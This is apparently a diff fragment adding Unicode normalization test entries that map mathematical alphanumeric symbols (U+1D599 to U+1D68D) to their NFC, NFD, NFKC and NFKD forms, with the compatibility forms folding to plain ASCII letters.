+{ source: [0x1D599], NFC: [0x1D599], NFD: [0x1D599], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D59A], NFC: [0x1D59A], NFD: [0x1D59A], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D59B], NFC: [0x1D59B], NFD: [0x1D59B], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D59C], NFC: [0x1D59C], NFD: [0x1D59C], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D59D], NFC: [0x1D59D], NFD: [0x1D59D], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D59E], NFC: [0x1D59E], NFD: [0x1D59E], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D59F], NFC: [0x1D59F], NFD: [0x1D59F], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D5A0], NFC: [0x1D5A0], NFD: [0x1D5A0], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D5A1], NFC: [0x1D5A1], NFD: [0x1D5A1], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D5A2], NFC: [0x1D5A2], NFD: [0x1D5A2], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D5A3], NFC: [0x1D5A3], NFD: [0x1D5A3], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D5A4], NFC: [0x1D5A4], NFD: [0x1D5A4], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D5A5], NFC: [0x1D5A5], NFD: [0x1D5A5], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D5A6], NFC: [0x1D5A6], NFD: [0x1D5A6], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D5A7], NFC: [0x1D5A7], NFD: [0x1D5A7], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D5A8], NFC: [0x1D5A8], NFD: [0x1D5A8], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D5A9], NFC: [0x1D5A9], NFD: [0x1D5A9], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D5AA], NFC: [0x1D5AA], NFD: [0x1D5AA], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D5AB], NFC: [0x1D5AB], NFD: [0x1D5AB], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D5AC], NFC: [0x1D5AC], NFD: [0x1D5AC], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D5AD], NFC: [0x1D5AD], NFD: [0x1D5AD], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D5AE], NFC: [0x1D5AE], NFD: [0x1D5AE], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D5AF], NFC: [0x1D5AF], NFD: [0x1D5AF], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D5B0], NFC: [0x1D5B0], NFD: [0x1D5B0], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D5B1], NFC: [0x1D5B1], NFD: [0x1D5B1], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D5B2], NFC: [0x1D5B2], NFD: [0x1D5B2], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D5B3], NFC: [0x1D5B3], NFD: [0x1D5B3], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D5B4], NFC: [0x1D5B4], NFD: [0x1D5B4], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D5B5], NFC: [0x1D5B5], NFD: [0x1D5B5], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D5B6], NFC: [0x1D5B6], NFD: [0x1D5B6], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D5B7], NFC: [0x1D5B7], NFD: [0x1D5B7], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D5B8], NFC: [0x1D5B8], NFD: [0x1D5B8], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D5B9], NFC: [0x1D5B9], NFD: [0x1D5B9], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D5BA], NFC: [0x1D5BA], NFD: [0x1D5BA], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D5BB], NFC: [0x1D5BB], NFD: [0x1D5BB], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D5BC], NFC: [0x1D5BC], NFD: [0x1D5BC], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D5BD], NFC: [0x1D5BD], NFD: [0x1D5BD], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D5BE], NFC: [0x1D5BE], NFD: [0x1D5BE], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D5BF], NFC: [0x1D5BF], NFD: [0x1D5BF], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D5C0], NFC: [0x1D5C0], NFD: [0x1D5C0], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D5C1], NFC: [0x1D5C1], NFD: [0x1D5C1], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D5C2], NFC: [0x1D5C2], NFD: [0x1D5C2], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D5C3], NFC: [0x1D5C3], NFD: [0x1D5C3], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D5C4], NFC: [0x1D5C4], NFD: [0x1D5C4], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D5C5], NFC: [0x1D5C5], NFD: [0x1D5C5], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D5C6], NFC: [0x1D5C6], NFD: [0x1D5C6], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D5C7], NFC: [0x1D5C7], NFD: [0x1D5C7], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D5C8], NFC: [0x1D5C8], NFD: [0x1D5C8], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D5C9], NFC: [0x1D5C9], NFD: [0x1D5C9], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D5CA], NFC: [0x1D5CA], NFD: [0x1D5CA], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D5CB], NFC: [0x1D5CB], NFD: [0x1D5CB], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D5CC], NFC: [0x1D5CC], NFD: [0x1D5CC], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D5CD], NFC: [0x1D5CD], NFD: [0x1D5CD], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D5CE], NFC: [0x1D5CE], NFD: [0x1D5CE], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D5CF], NFC: [0x1D5CF], NFD: [0x1D5CF], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D5D0], NFC: [0x1D5D0], NFD: [0x1D5D0], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D5D1], NFC: [0x1D5D1], NFD: [0x1D5D1], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D5D2], NFC: [0x1D5D2], NFD: [0x1D5D2], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D5D3], NFC: [0x1D5D3], NFD: [0x1D5D3], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D5D4], NFC: [0x1D5D4], NFD: [0x1D5D4], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D5D5], NFC: [0x1D5D5], NFD: [0x1D5D5], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D5D6], NFC: [0x1D5D6], NFD: [0x1D5D6], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D5D7], NFC: [0x1D5D7], NFD: [0x1D5D7], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D5D8], NFC: [0x1D5D8], NFD: [0x1D5D8], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D5D9], NFC: [0x1D5D9], NFD: [0x1D5D9], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D5DA], NFC: [0x1D5DA], NFD: [0x1D5DA], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D5DB], NFC: [0x1D5DB], NFD: [0x1D5DB], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D5DC], NFC: [0x1D5DC], NFD: [0x1D5DC], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D5DD], NFC: [0x1D5DD], NFD: [0x1D5DD], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D5DE], NFC: [0x1D5DE], NFD: [0x1D5DE], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D5DF], NFC: [0x1D5DF], NFD: [0x1D5DF], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D5E0], NFC: [0x1D5E0], NFD: [0x1D5E0], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D5E1], NFC: [0x1D5E1], NFD: [0x1D5E1], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D5E2], NFC: [0x1D5E2], NFD: [0x1D5E2], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D5E3], NFC: [0x1D5E3], NFD: [0x1D5E3], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D5E4], NFC: [0x1D5E4], NFD: [0x1D5E4], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D5E5], NFC: [0x1D5E5], NFD: [0x1D5E5], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D5E6], NFC: [0x1D5E6], NFD: [0x1D5E6], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D5E7], NFC: [0x1D5E7], NFD: [0x1D5E7], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D5E8], NFC: [0x1D5E8], NFD: [0x1D5E8], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D5E9], NFC: [0x1D5E9], NFD: [0x1D5E9], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D5EA], NFC: [0x1D5EA], NFD: [0x1D5EA], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D5EB], NFC: [0x1D5EB], NFD: [0x1D5EB], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D5EC], NFC: [0x1D5EC], NFD: [0x1D5EC], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D5ED], NFC: [0x1D5ED], NFD: [0x1D5ED], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D5EE], NFC: [0x1D5EE], NFD: [0x1D5EE], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D5EF], NFC: [0x1D5EF], NFD: [0x1D5EF], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D5F0], NFC: [0x1D5F0], NFD: [0x1D5F0], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D5F1], NFC: [0x1D5F1], NFD: [0x1D5F1], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D5F2], NFC: [0x1D5F2], NFD: [0x1D5F2], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D5F3], NFC: [0x1D5F3], NFD: [0x1D5F3], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D5F4], NFC: [0x1D5F4], NFD: [0x1D5F4], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D5F5], NFC: [0x1D5F5], NFD: [0x1D5F5], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D5F6], NFC: [0x1D5F6], NFD: [0x1D5F6], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D5F7], NFC: [0x1D5F7], NFD: [0x1D5F7], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D5F8], NFC: [0x1D5F8], NFD: [0x1D5F8], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D5F9], NFC: [0x1D5F9], NFD: [0x1D5F9], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D5FA], NFC: [0x1D5FA], NFD: [0x1D5FA], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D5FB], NFC: [0x1D5FB], NFD: [0x1D5FB], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D5FC], NFC: [0x1D5FC], NFD: [0x1D5FC], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D5FD], NFC: [0x1D5FD], NFD: [0x1D5FD], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D5FE], NFC: [0x1D5FE], NFD: [0x1D5FE], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D5FF], NFC: [0x1D5FF], NFD: [0x1D5FF], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D600], NFC: [0x1D600], NFD: [0x1D600], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D601], NFC: [0x1D601], NFD: [0x1D601], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D602], NFC: [0x1D602], NFD: [0x1D602], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D603], NFC: [0x1D603], NFD: [0x1D603], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D604], NFC: [0x1D604], NFD: [0x1D604], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D605], NFC: [0x1D605], NFD: [0x1D605], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D606], NFC: [0x1D606], NFD: [0x1D606], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D607], NFC: [0x1D607], NFD: [0x1D607], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D608], NFC: [0x1D608], NFD: [0x1D608], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D609], NFC: [0x1D609], NFD: [0x1D609], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D60A], NFC: [0x1D60A], NFD: [0x1D60A], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D60B], NFC: [0x1D60B], NFD: [0x1D60B], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D60C], NFC: [0x1D60C], NFD: [0x1D60C], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D60D], NFC: [0x1D60D], NFD: [0x1D60D], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D60E], NFC: [0x1D60E], NFD: [0x1D60E], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D60F], NFC: [0x1D60F], NFD: [0x1D60F], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D610], NFC: [0x1D610], NFD: [0x1D610], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D611], NFC: [0x1D611], NFD: [0x1D611], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D612], NFC: [0x1D612], NFD: [0x1D612], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D613], NFC: [0x1D613], NFD: [0x1D613], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D614], NFC: [0x1D614], NFD: [0x1D614], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D615], NFC: [0x1D615], NFD: [0x1D615], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D616], NFC: [0x1D616], NFD: [0x1D616], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D617], NFC: [0x1D617], NFD: [0x1D617], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D618], NFC: [0x1D618], NFD: [0x1D618], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D619], NFC: [0x1D619], NFD: [0x1D619], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D61A], NFC: [0x1D61A], NFD: [0x1D61A], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D61B], NFC: [0x1D61B], NFD: [0x1D61B], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D61C], NFC: [0x1D61C], NFD: [0x1D61C], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D61D], NFC: [0x1D61D], NFD: [0x1D61D], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D61E], NFC: [0x1D61E], NFD: [0x1D61E], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D61F], NFC: [0x1D61F], NFD: [0x1D61F], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D620], NFC: [0x1D620], NFD: [0x1D620], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D621], NFC: [0x1D621], NFD: [0x1D621], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D622], NFC: [0x1D622], NFD: [0x1D622], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D623], NFC: [0x1D623], NFD: [0x1D623], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D624], NFC: [0x1D624], NFD: [0x1D624], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D625], NFC: [0x1D625], NFD: [0x1D625], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D626], NFC: [0x1D626], NFD: [0x1D626], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D627], NFC: [0x1D627], NFD: [0x1D627], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D628], NFC: [0x1D628], NFD: [0x1D628], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D629], NFC: [0x1D629], NFD: [0x1D629], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D62A], NFC: [0x1D62A], NFD: [0x1D62A], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D62B], NFC: [0x1D62B], NFD: [0x1D62B], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D62C], NFC: [0x1D62C], NFD: [0x1D62C], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D62D], NFC: [0x1D62D], NFD: [0x1D62D], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D62E], NFC: [0x1D62E], NFD: [0x1D62E], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D62F], NFC: [0x1D62F], NFD: [0x1D62F], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D630], NFC: [0x1D630], NFD: [0x1D630], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D631], NFC: [0x1D631], NFD: [0x1D631], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D632], NFC: [0x1D632], NFD: [0x1D632], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D633], NFC: [0x1D633], NFD: [0x1D633], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D634], NFC: [0x1D634], NFD: [0x1D634], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D635], NFC: [0x1D635], NFD: [0x1D635], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D636], NFC: [0x1D636], NFD: [0x1D636], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D637], NFC: [0x1D637], NFD: [0x1D637], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D638], NFC: [0x1D638], NFD: [0x1D638], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D639], NFC: [0x1D639], NFD: [0x1D639], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D63A], NFC: [0x1D63A], NFD: [0x1D63A], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D63B], NFC: [0x1D63B], NFD: [0x1D63B], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D63C], NFC: [0x1D63C], NFD: [0x1D63C], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D63D], NFC: [0x1D63D], NFD: [0x1D63D], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D63E], NFC: [0x1D63E], NFD: [0x1D63E], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D63F], NFC: [0x1D63F], NFD: [0x1D63F], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D640], NFC: [0x1D640], NFD: [0x1D640], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D641], NFC: [0x1D641], NFD: [0x1D641], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D642], NFC: [0x1D642], NFD: [0x1D642], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D643], NFC: [0x1D643], NFD: [0x1D643], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D644], NFC: [0x1D644], NFD: [0x1D644], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D645], NFC: [0x1D645], NFD: [0x1D645], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D646], NFC: [0x1D646], NFD: [0x1D646], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D647], NFC: [0x1D647], NFD: [0x1D647], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D648], NFC: [0x1D648], NFD: [0x1D648], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D649], NFC: [0x1D649], NFD: [0x1D649], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D64A], NFC: [0x1D64A], NFD: [0x1D64A], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D64B], NFC: [0x1D64B], NFD: [0x1D64B], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D64C], NFC: [0x1D64C], NFD: [0x1D64C], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D64D], NFC: [0x1D64D], NFD: [0x1D64D], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D64E], NFC: [0x1D64E], NFD: [0x1D64E], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D64F], NFC: [0x1D64F], NFD: [0x1D64F], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D650], NFC: [0x1D650], NFD: [0x1D650], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D651], NFC: [0x1D651], NFD: [0x1D651], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D652], NFC: [0x1D652], NFD: [0x1D652], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D653], NFC: [0x1D653], NFD: [0x1D653], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D654], NFC: [0x1D654], NFD: [0x1D654], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D655], NFC: [0x1D655], NFD: [0x1D655], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D656], NFC: [0x1D656], NFD: [0x1D656], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D657], NFC: [0x1D657], NFD: [0x1D657], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D658], NFC: [0x1D658], NFD: [0x1D658], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D659], NFC: [0x1D659], NFD: [0x1D659], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D65A], NFC: [0x1D65A], NFD: [0x1D65A], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D65B], NFC: [0x1D65B], NFD: [0x1D65B], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D65C], NFC: [0x1D65C], NFD: [0x1D65C], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D65D], NFC: [0x1D65D], NFD: [0x1D65D], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D65E], NFC: [0x1D65E], NFD: [0x1D65E], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D65F], NFC: [0x1D65F], NFD: [0x1D65F], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D660], NFC: [0x1D660], NFD: [0x1D660], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D661], NFC: [0x1D661], NFD: [0x1D661], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D662], NFC: [0x1D662], NFD: [0x1D662], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D663], NFC: [0x1D663], NFD: [0x1D663], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D664], NFC: [0x1D664], NFD: [0x1D664], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D665], NFC: [0x1D665], NFD: [0x1D665], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D666], NFC: [0x1D666], NFD: [0x1D666], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D667], NFC: [0x1D667], NFD: [0x1D667], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D668], NFC: [0x1D668], NFD: [0x1D668], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D669], NFC: [0x1D669], NFD: [0x1D669], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D66A], NFC: [0x1D66A], NFD: [0x1D66A], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D66B], NFC: [0x1D66B], NFD: [0x1D66B], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D66C], NFC: [0x1D66C], NFD: [0x1D66C], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D66D], NFC: [0x1D66D], NFD: [0x1D66D], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D66E], NFC: [0x1D66E], NFD: [0x1D66E], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D66F], NFC: [0x1D66F], NFD: [0x1D66F], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D670], NFC: [0x1D670], NFD: [0x1D670], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D671], NFC: [0x1D671], NFD: [0x1D671], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D672], NFC: [0x1D672], NFD: [0x1D672], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D673], NFC: [0x1D673], NFD: [0x1D673], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D674], NFC: [0x1D674], NFD: [0x1D674], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D675], NFC: [0x1D675], NFD: [0x1D675], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D676], NFC: [0x1D676], NFD: [0x1D676], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D677], NFC: [0x1D677], NFD: [0x1D677], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D678], NFC: [0x1D678], NFD: [0x1D678], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D679], NFC: [0x1D679], NFD: [0x1D679], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D67A], NFC: [0x1D67A], NFD: [0x1D67A], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D67B], NFC: [0x1D67B], NFD: [0x1D67B], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D67C], NFC: [0x1D67C], NFD: [0x1D67C], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D67D], NFC: [0x1D67D], NFD: [0x1D67D], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D67E], NFC: [0x1D67E], NFD: [0x1D67E], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D67F], NFC: [0x1D67F], NFD: [0x1D67F], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D680], NFC: [0x1D680], NFD: [0x1D680], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D681], NFC: [0x1D681], NFD: [0x1D681], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D682], NFC: [0x1D682], NFD: [0x1D682], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D683], NFC: [0x1D683], NFD: [0x1D683], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D684], NFC: [0x1D684], NFD: [0x1D684], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D685], NFC: [0x1D685], NFD: [0x1D685], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D686], NFC: [0x1D686], NFD: [0x1D686], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D687], NFC: [0x1D687], NFD: [0x1D687], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D688], NFC: [0x1D688], NFD: [0x1D688], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D689], NFC: [0x1D689], NFD: [0x1D689], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D68A], NFC: [0x1D68A], NFD: [0x1D68A], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D68B], NFC: [0x1D68B], NFD: [0x1D68B], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D68C], NFC: [0x1D68C], NFD: [0x1D68C], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D68D], NFC: [0x1D68D], NFD: [0x1D68D], NFKC: [0x0064], NFKD: [0x0064] },
